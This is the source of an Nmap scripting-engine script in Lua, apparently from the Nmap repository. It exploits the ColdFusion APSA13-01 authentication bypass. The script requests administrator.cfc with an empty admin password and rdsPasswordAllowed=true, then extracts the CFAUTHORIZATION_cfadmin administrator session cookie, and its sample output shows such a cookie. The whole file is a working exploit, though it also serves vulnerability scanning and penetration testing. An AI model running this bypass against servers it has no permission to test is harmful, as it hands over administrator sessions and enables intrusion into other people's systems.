blob: 19ba2207b56d0f68a12cd3d65d56baae191a1f7a (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
description = [[
Attempts to exploit an authentication bypass vulnerability in Adobe Coldfusion
servers to retrieve a valid administrator's session cookie.
Reference:
* APSA13-01: http://www.adobe.com/support/security/advisories/apsa13-01.html
]]
---
-- @see http-coldfusion-subzero.nse
-- @see http-vuln-cve2009-3960.nse
-- @see http-vuln-cve2010-2861.nse
--
-- @usage nmap -sV --script http-adobe-coldfusion-apsa1301 <target>
-- @usage nmap -p80 --script http-adobe-coldfusion-apsa1301 --script-args basepath=/cf/adminapi/ <target>
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | http-adobe-coldfusion-apsa1301:
-- |_ admin_cookie: aW50ZXJhY3RpdmUNQUEyNTFGRDU2NzM1OEYxNkI3REUzRjNCMjJERTgxOTNBNzUxN0NEMA1jZmFkbWlu
--
-- @args http-adobe-coldfusion-apsa1301.basepath URI path to administrator.cfc. Default: /CFIDE/adminapi/
--
---
author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "vuln"}
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local url = require "url"
portrule = shortport.http
local DEFAULT_PATH = "/CFIDE/adminapi/"
local MAGIC_URI = "administrator.cfc?method=login&adminpassword=&rdsPasswordAllowed=true"
---
-- Extracts the admin cookie by reading CFAUTHORIZATION_cfadmin from the header 'set-cookie'
--
local function get_admin_cookie(host, port, basepath)
local req = http.get(host, port, url.absolute(basepath, MAGIC_URI))
if not req then return nil end
for _, ck in ipairs(req.cookies or {}) do
stdnse.debug2("Set-Cookie for %q detected in response.", ck.name)
if ck.name == "CFAUTHORIZATION_cfadmin" and ck.value:len() > 79 then
stdnse.debug1("Extracted cookie:%s", ck.value)
return ck.value
end
end
return nil
end
action = function(host, port)
local output_tab = stdnse.output_table()
local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or DEFAULT_PATH
local cookie = get_admin_cookie(host, port, basepath)
if cookie then
output_tab.admin_cookie = cookie
else
return nil
end
return output_tab
end
|
